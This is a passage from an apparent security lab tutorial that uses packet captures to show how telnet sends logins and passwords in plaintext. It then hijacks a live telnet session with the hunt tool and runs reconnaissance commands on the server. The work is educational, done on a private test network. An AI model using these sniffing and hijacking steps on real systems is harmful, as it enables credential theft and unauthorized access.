TCP TTL:128 TOS:0x0 ID:32997 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x34A4BC3  Ack: 0x84DC701B  Win: 0xFAD0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362341 114589709 
69                                               i

11/09-19:33:05.327849 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4250 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC701B  Ack: 0x34A4BC4  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589714 2362341 

11/09-19:33:05.460399 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4251 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC701B  Ack: 0x34A4BC4  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589727 2362341 
6B                                               k

11/09-19:33:05.514339 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:32998 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x34A4BC4  Ack: 0x84DC701C  Win: 0xFACF  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362343 114589727 
6B                                               k

11/09-19:33:05.514395 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4252 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC701C  Ack: 0x34A4BC5  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589732 2362343

11/09-19:33:05.556446 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4253 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC701C  Ack: 0x34A4BC5  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589737 2362343 
65                                               e

11/09-19:33:05.575821 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:32999 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x34A4BC5  Ack: 0x84DC701D  Win: 0xFACE  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362343 114589737 
65                                               e

11/09-19:33:05.576044 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4254 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC701D  Ack: 0x34A4BC6  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589739 2362343 

11/09-19:33:06.351428 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4255 IpLen:20 DgmLen:54 DF
***AP*** Seq: 0x84DC701D  Ack: 0x34A4BC6  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589816 2362343 
0D 00                                            ..

Server prompts user for password.

11/09-19:33:06.389279 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33000 IpLen:20 DgmLen:64 DF
***AP*** Seq: 0x34A4BC6  Ack: 0x84DC701F  Win: 0xFACC  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362351 114589816 
0D 0A 50 61 73 73 77 6F 72 64 3A 20              ..Password: 

11/09-19:33:06.389333 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4256 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC701F  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589820 2362351 

User enters p-a-s-s-w-o-r-d. These characters are NOT echoed by the receiver.

11/09-19:33:07.914678 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4257 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC701F  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589972 2362351 
70                                               p

11/09-19:33:08.018837 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33001 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4BD2  Ack: 0x84DC7020  Win: 0xFACB  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362368 114589972 

11/09-19:33:08.082496 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4258 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7020  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114589989 2362368 
61                                               a

11/09-19:33:08.219997 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33002 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4BD2  Ack: 0x84DC7021  Win: 0xFACA  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362370 114589989 

11/09-19:33:08.394025 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4259 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7021  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590020 2362370 
73                                               s

11/09-19:33:08.521733 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33003 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4BD2  Ack: 0x84DC7022  Win: 0xFAC9  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362373 114590020 

11/09-19:33:08.547554 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4260 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7022  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590036 2362373 
73                                               s

11/09-19:33:08.722889 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33004 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4BD2  Ack: 0x84DC7023  Win: 0xFAC8  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362375 114590036 

11/09-19:33:08.980256 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4261 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7023  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590079 2362375 
77                                               w

11/09-19:33:09.125209 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33005 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4BD2  Ack: 0x84DC7024  Win: 0xFAC7  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362379 114590079 

11/09-19:33:09.125261 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4262 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7024  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590093 2362379 
6F                                               o

11/09-19:33:09.326365 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33006 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4BD2  Ack: 0x84DC7025  Win: 0xFAC6  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362381 114590093 

11/09-19:33:09.326418 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4263 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7025  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590114 2362381 
72                                               r

11/09-19:33:09.527523 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33007 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4BD2  Ack: 0x84DC7026  Win: 0xFAC5  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362383 114590114 

11/09-19:33:09.527576 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4264 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7026  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590134 2362383 
64                                               d

11/09-19:33:09.728681 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33008 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4BD2  Ack: 0x84DC7027  Win: 0xFAC4  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362385 114590134 

11/09-19:33:09.933077 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4265 IpLen:20 DgmLen:54 DF
***AP*** Seq: 0x84DC7027  Ack: 0x34A4BD2  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590174 2362385 
0D 00                                            ..

Server rejects this login and password combination, then prompts for login again. User enters “mike” and “easypassword” this time and is successful logging in. At the prompt to change password or exit, user chooses to exit and the two telnets begin to tear down the connection.

11/09-19:33:09.954537 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33009 IpLen:20 DgmLen:92 DF
***AP*** Seq: 0x34A4BD2  Ack: 0x84DC7029  Win: 0xFAC2  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362387 114590174 
0D 0A 49 6E 76 61 6C 69 64 20 75 73 65 72 6E 61  ..Invalid userna
6D 65 20 6F 72 20 70 61 73 73 77 6F 72 64 2E 0D  me or password..
0A 6C 6F 67 69 6E 3A 20                          .login: 

11/09-19:33:09.954590 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4266 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC7029  Ack: 0x34A4BFA  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590176 2362387 

11/09-19:33:10.824638 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4267 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7029  Ack: 0x34A4BFA  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590263 2362387 
6D                                               m

11/09-19:33:10.826390 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33010 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x34A4BFA  Ack: 0x84DC702A  Win: 0xFAC1  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362395 114590263 
6D                                               m

11/09-19:33:10.826444 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4268 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC702A  Ack: 0x34A4BFB  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590264 2362395 

11/09-19:33:10.985529 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4269 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC702A  Ack: 0x34A4BFB  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590279 2362395 
69                                               i

11/09-19:33:11.014925 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33011 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x34A4BFB  Ack: 0x84DC702B  Win: 0xFAC0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362397 114590279 
69                                               i

11/09-19:33:11.014981 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4270 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC702B  Ack: 0x34A4BFC  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590282 2362397 

11/09-19:33:11.164368 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4271 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC702B  Ack: 0x34A4BFC  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590297 2362397 
6B                                               k

11/09-19:33:11.202393 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33012 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x34A4BFC  Ack: 0x84DC702C  Win: 0xFABF  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362399 114590297 
6B                                               k

11/09-19:33:11.202449 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4272 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC702C  Ack: 0x34A4BFD  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590301 2362399 

11/09-19:33:11.258730 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4273 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC702C  Ack: 0x34A4BFD  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590307 2362399 
65                                               e

11/09-19:33:11.270462 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33013 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x34A4BFD  Ack: 0x84DC702D  Win: 0xFABE  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362400 114590307 
65                                               e

11/09-19:33:11.270675 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4274 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC702D  Ack: 0x34A4BFE  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590308 2362400 

11/09-19:33:11.601746 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4275 IpLen:20 DgmLen:54 DF
***AP*** Seq: 0x84DC702D  Ack: 0x34A4BFE  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590341 2362400 
0D 00                                            ..

11/09-19:33:11.639877 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33014 IpLen:20 DgmLen:64 DF
***AP*** Seq: 0x34A4BFE  Ack: 0x84DC702F  Win: 0xFABC  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362404 114590341 
0D 0A 50 61 73 73 77 6F 72 64 3A 20              ..Password: 

11/09-19:33:11.640102 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4276 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC702F  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590345 2362404 

11/09-19:33:12.684879 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4277 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC702F  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590449 2362404 
65                                               e

11/09-19:33:12.846629 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33015 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7030  Win: 0xFABB  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362416 114590449 

11/09-19:33:12.919631 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4278 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7030  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590473 2362416 
61                                               a

11/09-19:33:13.047786 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33016 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7031  Win: 0xFABA  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362418 114590473 

11/09-19:33:13.167598 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4279 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7031  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590498 2362418 
73                                               s

11/09-19:33:13.349522 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33017 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7032  Win: 0xFAB9  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362421 114590498 

11/09-19:33:13.410589 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4280 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7032  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590522 2362421 
79                                               y

11/09-19:33:13.550679 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33018 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7033  Win: 0xFAB8  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362423 114590522 

11/09-19:33:13.684445 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4281 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7033  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590549 2362423 
70                                               p

11/09-19:33:13.852417 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33019 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7034  Win: 0xFAB7  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362426 114590549 

11/09-19:33:13.854836 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4282 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7034  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590566 2362426 
61                                               a

11/09-19:33:14.053575 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33020 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7035  Win: 0xFAB6  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362428 114590566 

11/09-19:33:14.123199 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4283 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7035  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590593 2362428 
73                                               s

11/09-19:33:14.154157 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33021 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7036  Win: 0xFAB5  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362430 114590593 

11/09-19:33:14.294392 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4284 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7036  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590610 2362430 
73                                               s

11/09-19:33:14.455897 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33022 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7037  Win: 0xFAB4  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362433 114590610 

11/09-19:33:14.514210 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4285 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7037  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590632 2362433 
77                                               w

11/09-19:33:14.657056 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33025 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7038  Win: 0xFAB3  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362435 114590632 

11/09-19:33:14.657107 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4286 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7038  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590647 2362435 
6F                                               o

11/09-19:33:14.858209 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33026 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC7039  Win: 0xFAB2  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362437 114590647 

11/09-19:33:14.858261 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4287 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC7039  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590667 2362437 
72                                               r

11/09-19:33:15.059365 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33027 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC703A  Win: 0xFAB1  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362439 114590667 

11/09-19:33:15.059416 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4288 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC703A  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590687 2362439 
64                                               d

11/09-19:33:15.260521 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33028 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C0A  Ack: 0x84DC703B  Win: 0xFAB0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362441 114590687 

11/09-19:33:15.551281 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4289 IpLen:20 DgmLen:54 DF
***AP*** Seq: 0x84DC703B  Ack: 0x34A4C0A  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590736 2362441 
0D 00                                            ..

11/09-19:33:15.576243 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33029 IpLen:20 DgmLen:188 DF
***AP*** Seq: 0x34A4C0A  Ack: 0x84DC703D  Win: 0xFAAE  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362444 114590736 
1B 5B 32 4A 1B 5B 48 0D 0A 0D 0A 1B 5B 31 3B 33  .[2J.[H.....[1;3
34 6D 20 20 20 20 57 65 6C 63 6F 6D 65 20 6D 69  4m    Welcome mi
6B 65 21 0D 0A 0D 0A 1B 5B 31 3B 33 35 6D 20 20  ke!.....[1;35m  
20 20 20 20 20 20 20 28 31 29 20 43 68 61 6E 67         (1) Chang
65 20 70 61 73 73 77 6F 72 64 2E 0D 0A 1B 5B 31  e password....[1
3B 33 35 6D 20 20 20 20 20 20 20 20 20 28 30 29  ;35m         (0)
20 45 78 69 74 2E 0D 0A 0D 0A 1B 5B 31 3B 33 32   Exit......[1;32
6D 20 20 20 20 20 20 20 20 20 43 68 6F 6F 73 65  m         Choose
20 6F 6E 65 2E 2E 2E 20                           one... 

11/09-19:33:15.576301 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4290 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x84DC703D  Ack: 0x34A4C92  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114590739 2362444 

11/09-19:33:20.399895 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4291 IpLen:20 DgmLen:53 DF
***AP*** Seq: 0x84DC703D  Ack: 0x34A4C92  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114591221 2362444 
30                                               0

11/09-19:33:20.451086 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33030 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x34A4C92  Ack: 0x84DC703E  Win: 0xFAAD  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362492 114591221 

11/09-19:33:20.451500 192.168.1.1:34880 -> 192.168.1.100:23
TCP TTL:64 TOS:0x10 ID:4292 IpLen:20 DgmLen:52 DF
***A***F Seq: 0x84DC703E  Ack: 0x34A4C93  Win: 0x16D0  TcpLen: 32
TCP Options (3) => NOP NOP TS: 114591226 2362492 

11/09-19:33:20.451585 192.168.1.100:23 -> 192.168.1.1:34880
TCP TTL:128 TOS:0x0 ID:33031 IpLen:20 DgmLen:52 DF
***A**** Seq: 0x34A4C93  Ack: 0x84DC703F  Win: 0xFAAD  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2362492 114591226 

Ok, well that was interesting, but what did we learn? We learned how easy it is capture the plain text login names, passwords, and less critical information about the server such as which options it supports or enables by default. We learned some of the critical attributes of the telnet protocol,which, all together, will help us hijack a telnet session later.

vii. Session Hijacking

We're not done picking on telnet yet. Here we are going to take over a previously established connection between a telnet client and telnet server and try to execute some commands. The software tool for the exploit does the sequence number prediction and packet injection (in other words, all the work) so our intention here is just to demonstrate how easy it can be, even for someone with no computing experience. It is also going to be considerably less accurate than the real threat due to the network setup. For instance, we're on a packet switched network, making eavesdropping on the session more difficult. As a result, we'll have to run the telnet client on the same host we use to do the hijacking, whereas the hijacker is normally a third, separate machine. To determine when and if the command prompt is shifted from the original client to the attacker, we will use two separate windows.

First, from the "client" window we connect to the telnet server, 192.168.1.100, and login. At the menu we choose "3" to receive a command prompt on the server.

[root@client mnin]# telnet 
telnet> open 192.168.1.100
Trying 192.168.1.100...
Connected to 192.168.1.100 (192.168.1.100).
Escape character is '^]'.

login: mike
Password:

Welcome mike!

(1) Change password.
(2) Change FTP initial path.
Currently "/shared"
(3) Command Prompt.
(0) Exit.

Choose one... 3
Command Prompt...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Now we fire up Pavel Krauz's hunt utility, [3] from the "hijack" window. We choose "l" option to list active connections which reveals one between 192.168.1.100 (the telnet server) and 192.168.1.108 (the machine used for both client and hijack commands). After verifying the connection exists we choose "s" to conduct a simple hijack. Hunt will desynchronize the stream from the server/original client point of view and in doing so, synchronize the connection with the server and attacker. This allows us to insert commands from the hijack window (even though we never logged in via this window) and have the server execute them. Once again, the real threat is when the hijack window is run on a separate computer system.

[root@hijack hunt-1.5]# ./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kr
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections>
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l
0) 192.168.1.108 [37060] --> 192.168.1.100 [23]
--- Main Menu --- rcvpkt 1256, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
-> s
0) 192.168.1.108 [37060] --> 192.168.1.100 [23]choose conn> 0
dump connection y/n [n]> n

From this point on we have control (from the hijack window) of the original telnet session between the server and client. We do a few tests to verify that we are indeed issuing commands and receiving output from the server. For example we list the contents of the ARP table, then some details on the server's network interface, active connections, and which user we are logged in as.

Enter the command string you wish executed or [cr]>arp -a

Interface: 192.168.1.100 --- 0x10003
Internet Address Physical Address Type
192.168.1.1 00-04-5a-80-db-54 dynamic 
192.168.1.108 00-e0-4c-a3-6f-57 dynamic

C:\Program Files\LiteServe\home\mike>Enter the command string you wish executed or [cr]> ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix :

IP Address. . . . . . . . . . . . :192.168.1.100
Subnet Mask . . . . . . . . . . . :255.255.255.0
Default Gateway . . . . . . . . . :192.168.1.1

C:\Program Files\LiteServe\home\mike>Enter the command string you wish executed or [cr]> netstat

Active Connections

Proto Local Address Foreign Address State
TCP wk:telnet 192.168.1.108:37060 ESTABLISHED
TCP wk:1144 205.188.11.18:5190 ESTABLISHED
TCP wk:1145 205.188.4.242:5190 ESTABLISHED
TCP wk:1409 192.168.1.108:22222 ESTABLISHED
TCP wk:1689 192.168.1.108:22222 ESTABLISHED
TCP wk:1692 192.168.1.108:22222 ESTABLISHED

C:\Program Files\LiteServe\home\mike>Enter the command string you wish executed or [cr]> net user

User accounts for \\WK

-------------------------------------------------------------------------------
Administrator Guest IUSR_WK 
IWAM_WK michael hale wk_webuser
The command completed successfully

Now, while still working in the hijack window, we choose to exit out of the command prompt telnet session. This brings us back (as if we were ever here before) to the main menu, which will also choose to exit and return to the normal bash prompt.

C:\Program Files\LiteServe\home\mike>Enter the command string you wish executed or [cr]> exit

Welcome mike!

(1) Change password.
(2) Change FTP initial path.
Currently "/shared"
(3) Command Prompt.
(0) Exit.

Choose one... 0
Enter the command string you wish executed or [cr]> exit

done
[root@hijack hunt-1.5]#

